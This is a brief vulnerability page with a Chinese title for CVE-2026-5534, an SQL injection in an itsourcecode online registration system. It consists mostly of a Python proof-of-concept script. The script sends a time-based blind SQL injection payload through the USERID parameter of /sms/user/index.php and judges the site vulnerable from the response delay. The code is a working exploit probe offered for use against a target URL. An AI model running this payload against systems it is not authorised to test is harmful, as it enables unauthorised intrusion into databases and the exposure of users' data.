CVE-2026-5534 itsourcecode在线报名系统SQL注入漏洞

import requests def check_sqli_vulnerability(target_url): """ Basic PoC to check for SQL Injection in CVE-2026-5534. Target: /sms/user/index.php?view=edit&id=10 Parameter: USERID """ # Payload for time-based blind SQL injection payload = "1' AND SLEEP(5)-- -" params = { "view": "edit", "id": "10", "USERID": payload } try: response = requests.get(target_url, params=params, timeout=10) # If response takes longer than 5 seconds (plus network latency), sleep executed if response.elapsed.total_seconds() > 5: print("[+] Vulnerability Confirmed: SQL Injection exists in USERID parameter.") return True else: print("[-] Vulnerability not detected.") return False except Exception as e: print(f"[!] Error during request: {e}") return False if __name__ == "__main__": target = "http://localhost/sms/user/index.php" # Replace with actual target check_sqli_vulnerability(target)